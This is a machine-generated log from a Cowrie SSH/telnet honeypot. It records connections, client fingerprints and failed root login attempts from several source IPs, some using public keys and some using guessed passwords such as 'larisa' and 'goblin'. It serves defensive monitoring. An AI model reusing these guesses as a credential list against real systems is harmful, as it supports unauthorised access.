{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:23:08:75:a2:3d:4d:bb:2f:3b:50:71:66:4d:62:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDHl2eM6/cf/hxbbrDuTKuX3eC4gWLkL5dnPcq2HmopA8RWexMELJvwK4eR62gfQ19hSk4rOiHMOsg3TmSJLI4UVjEALIzVfRsbqMRLXNkgtZ7sGXUH8sJjgoSmqgGyJxdEn/Ibsm+4xBs6r0qmE3+h9pfV9cp8KEaq+SFs/xWKlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.427723Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:42:ea:26:16:aa:9f:63:30:2f:f9:cb:82:e0:e6:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3MebsFjwBM0TS7SMb3G0zrduaz+wefXsWCAarpXyuJKF7l0h6T5HIecg+LRlm8qvXTaDeCt1++C/cj0Wlp0EnrJ2pqypN+QsRrqOnztPcKFNrg/zTRJsXu8l0ve8uS9F9gKIz4U1rVTctYQE2HxxAUDd2HNmConYzRTSuw6lXY7u1bwG0h7SOrDqF+Q+gl3QRT6WWCV5EtbM0gnKXtrSFJWnWo550SLOONpNyrkyMkolj93SYLu7HnBBAUjotat2msXICyZ97pdVFbG50eUT1amOQLTlkvZmLh5XvwRNDUuDWWUdjgvSTMCFKyz51UmPlGTC3te2OoZQmBkel1H53","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:42:ea:26:16:aa:9f:63:30:2f:f9:cb:82:e0:e6:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.510076Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:42:ea:26:16:aa:9f:63:30:2f:f9:cb:82:e0:e6:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3MebsFjwBM0TS7SMb3G0zrduaz+wefXsWCAarpXyuJKF7l0h6T5HIecg+LRlm8qvXTaDeCt1++C/cj0Wlp0EnrJ2pqypN+QsRrqOnztPcKFNrg/zTRJsXu8l0ve8uS9F9gKIz4U1rVTctYQE2HxxAUDd2HNmConYzRTSuw6lXY7u1bwG0h7SOrDqF+Q+gl3QRT6WWCV5EtbM0gnKXtrSFJWnWo550SLOONpNyrkyMkolj93SYLu7HnBBAUjotat2msXICyZ97pdVFbG50eUT1amOQLTlkvZmLh5XvwRNDUuDWWUdjgvSTMCFKyz51UmPlGTC3te2OoZQmBkel1H53","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.513516Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:a4:fd:3a:da:32:31:fb:6c:2f:39:12:82:bf:76:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVCVT5OqBqG/GuMtQD8Rx8+yH0g8wxPXMtH0+5cJgRjBnPXjhM3Ib86C2ULR5mo5YAYrLQJCeNJHDBcDapTPdkI+xZNHtSFXGaW5Sgjssbo/jCqVKoVjaRjGOEhAadjJ06XymruyEX6sRcrclSaG9iSbZWunNd6bMQ86T+ToGlW2EkmdfNvEVkPp64LdqdnAZWm9uF596Oc8Kb9c25nc6KiAG3txz2Ko4DtJ66Gmxts+IoVdFsoq2Gb84zRzv2ed7h3uPo0lctjcsme9zjhuikQP+UnqR5UZvIJGk6Q2fGO0Dxa6EAugmOWgd1FTvAgstelPrk2rD4zGeU5bm7jhoV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:a4:fd:3a:da:32:31:fb:6c:2f:39:12:82:bf:76:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.596757Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:a4:fd:3a:da:32:31:fb:6c:2f:39:12:82:bf:76:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVCVT5OqBqG/GuMtQD8Rx8+yH0g8wxPXMtH0+5cJgRjBnPXjhM3Ib86C2ULR5mo5YAYrLQJCeNJHDBcDapTPdkI+xZNHtSFXGaW5Sgjssbo/jCqVKoVjaRjGOEhAadjJ06XymruyEX6sRcrclSaG9iSbZWunNd6bMQ86T+ToGlW2EkmdfNvEVkPp64LdqdnAZWm9uF596Oc8Kb9c25nc6KiAG3txz2Ko4DtJ66Gmxts+IoVdFsoq2Gb84zRzv2ed7h3uPo0lctjcsme9zjhuikQP+UnqR5UZvIJGk6Q2fGO0Dxa6EAugmOWgd1FTvAgstelPrk2rD4zGeU5bm7jhoV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.600318Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:6a:9f:26:98:10:14:f6:b3:af:a4:55:05:bf:72:c3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBcVs1CYVFyfY4lCacv7Wb8IAi7H0JypB15Y8VUGqRtO","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4b:6a:9f:26:98:10:14:f6:b3:af:a4:55:05:bf:72:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.681434Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:6a:9f:26:98:10:14:f6:b3:af:a4:55:05:bf:72:c3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBcVs1CYVFyfY4lCacv7Wb8IAi7H0JypB15Y8VUGqRtO","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.685681Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:de:d0:3c:b6:46:b7:2f:e2:61:99:fd:73:04:ed:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDICSl0/Ih8v4tOh+irJ4IMfx+yJmQhoFBCtpWCyN5W8fFjRVDr8QMYdJNpLPvU17ScFOqj+cMprxVvREJMC4LuivWFw3W+KGyTzCgKBSCIJOyCeaZkVAJvGH2yI9UCu8pJWn6QmMrk3Wi3rymZmNLYNJFJAw3wx4jx9umJOMfdDa5uP5a+SwhZsOxSpY+6qy16zO4/oO4lsho3Xi/GDpmsVFoRZQhy7qj5I8mZRJcMQpmqZ8M+jOvreitTcFiZJt78psRNXur/f3Usem+yvLm627kotXKI/yvF08s+Zc9TzwG+C2qN9zgZRioEGdcxQkW3Uu7JP45OpgBOcYhXV8CD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:de:d0:3c:b6:46:b7:2f:e2:61:99:fd:73:04:ed:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.767262Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:de:d0:3c:b6:46:b7:2f:e2:61:99:fd:73:04:ed:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDICSl0/Ih8v4tOh+irJ4IMfx+yJmQhoFBCtpWCyN5W8fFjRVDr8QMYdJNpLPvU17ScFOqj+cMprxVvREJMC4LuivWFw3W+KGyTzCgKBSCIJOyCeaZkVAJvGH2yI9UCu8pJWn6QmMrk3Wi3rymZmNLYNJFJAw3wx4jx9umJOMfdDa5uP5a+SwhZsOxSpY+6qy16zO4/oO4lsho3Xi/GDpmsVFoRZQhy7qj5I8mZRJcMQpmqZ8M+jOvreitTcFiZJt78psRNXur/f3Usem+yvLm627kotXKI/yvF08s+Zc9TzwG+C2qN9zgZRioEGdcxQkW3Uu7JP45OpgBOcYhXV8CD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.770835Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:10.852314Z","src_ip":"141.94.94.32","session":"6c8a7fe2f14c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.88855957984924,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:11.524673Z","src_ip":"192.119.13.58","session":"3b070d6420c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53120,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7adce8820d1","protocol":"ssh","message":"New connection: 194.113.233.25:53120 (159.203.135.109:22) [session: c7adce8820d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:12.034453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:12.039685Z","src_ip":"194.113.233.25","session":"c7adce8820d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:12.131643Z","src_ip":"194.113.233.25","session":"c7adce8820d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"larisa","message":"login attempt [root/larisa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:12.406948Z","src_ip":"194.113.233.25","session":"c7adce8820d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:13.499888Z","src_ip":"194.113.233.25","session":"c7adce8820d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":42540,"dst_ip":"159.203.135.109","dst_port":22,"session":"88bfbaacccf9","protocol":"ssh","message":"New connection: 43.163.121.249:42540 (159.203.135.109:22) [session: 88bfbaacccf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:14.243962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:14.248532Z","src_ip":"43.163.121.249","session":"88bfbaacccf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:14.486744Z","src_ip":"43.163.121.249","session":"88bfbaacccf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"345ert","message":"login attempt [root/345ert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:15.469812Z","src_ip":"43.163.121.249","session":"88bfbaacccf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40360,"dst_ip":"10.17.0.5","dst_port":23,"session":"2523d4b28682","protocol":"telnet","message":"New connection: 192.119.13.58:40360 (10.17.0.5:23) [session: 2523d4b28682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:16.016196Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:16.710817Z","src_ip":"43.163.121.249","session":"88bfbaacccf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45758,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc32a936c1d","protocol":"telnet","message":"New connection: 192.119.13.58:45758 (10.17.0.5:23) [session: 0fc32a936c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:17.293513Z"}
{"eventid":"cowrie.session.closed","duration":36.75845766067505,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:18.216800Z","src_ip":"192.119.13.58","session":"b8346b7b107f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50114,"dst_ip":"10.17.0.5","dst_port":22,"session":"75232995455b","protocol":"ssh","message":"New connection: 80.94.92.184:50114 (10.17.0.5:22) [session: 75232995455b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:20.555536Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:20.665277Z","src_ip":"80.94.92.184","session":"75232995455b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":53298,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a41de5196a7","protocol":"ssh","message":"New connection: 103.149.28.157:53298 (159.203.135.109:22) [session: 0a41de5196a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:24.502655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:24.546260Z","src_ip":"103.149.28.157","session":"0a41de5196a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:24.751112Z","src_ip":"103.149.28.157","session":"0a41de5196a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goblin","message":"login attempt [root/goblin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:25.729607Z","src_ip":"103.149.28.157","session":"0a41de5196a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:26.979671Z","src_ip":"103.149.28.157","session":"0a41de5196a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.823914527893066,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:27.858550Z","src_ip":"192.119.13.58","session":"612a9d1c2037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38500,"dst_ip":"10.17.0.5","dst_port":23,"session":"56c39488dfa3","protocol":"telnet","message":"New connection: 192.119.13.58:38500 (10.17.0.5:23) [session: 56c39488dfa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:29.555603Z"}
{"eventid":"cowrie.session.closed","duration":0.005451202392578125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:29.560915Z","src_ip":"192.119.13.58","session":"56c39488dfa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.44468927383423,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:33.622242Z","src_ip":"192.119.13.58","session":"4dbc3dd2fc5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.35410523414612,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:37.862926Z","src_ip":"192.119.13.58","session":"3e5a5347292c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":39694,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc0b5986f293","protocol":"ssh","message":"New connection: 165.154.5.249:39694 (159.203.135.109:22) [session: fc0b5986f293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:41.998318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:42.003069Z","src_ip":"165.154.5.249","session":"fc0b5986f293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:42.217111Z","src_ip":"165.154.5.249","session":"fc0b5986f293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rim","message":"login attempt [root/rim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:43.106401Z","src_ip":"165.154.5.249","session":"fc0b5986f293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40218,"dst_ip":"10.17.0.5","dst_port":23,"session":"b37ccf5d8dc0","protocol":"telnet","message":"New connection: 192.119.13.58:40218 (10.17.0.5:23) [session: b37ccf5d8dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:43.294100Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:44.322958Z","src_ip":"165.154.5.249","session":"fc0b5986f293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.54686713218689,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:44.524920Z","src_ip":"192.119.13.58","session":"fa438a45c9b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45354,"dst_ip":"10.17.0.5","dst_port":23,"session":"339b9519589c","protocol":"telnet","message":"New connection: 192.119.13.58:45354 (10.17.0.5:23) [session: 339b9519589c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:44.644821Z"}
{"eventid":"cowrie.session.closed","duration":38.6690788269043,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:46.368101Z","src_ip":"192.119.13.58","session":"e337ad1a37f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44666,"dst_ip":"10.17.0.5","dst_port":23,"session":"7568e102877d","protocol":"telnet","message":"New connection: 192.119.13.58:44666 (10.17.0.5:23) [session: 7568e102877d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:51.668558Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53192,"dst_ip":"10.17.0.5","dst_port":23,"session":"07906c1db485","protocol":"telnet","message":"New connection: 192.119.13.58:53192 (10.17.0.5:23) [session: 07906c1db485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:51:53.953567Z"}
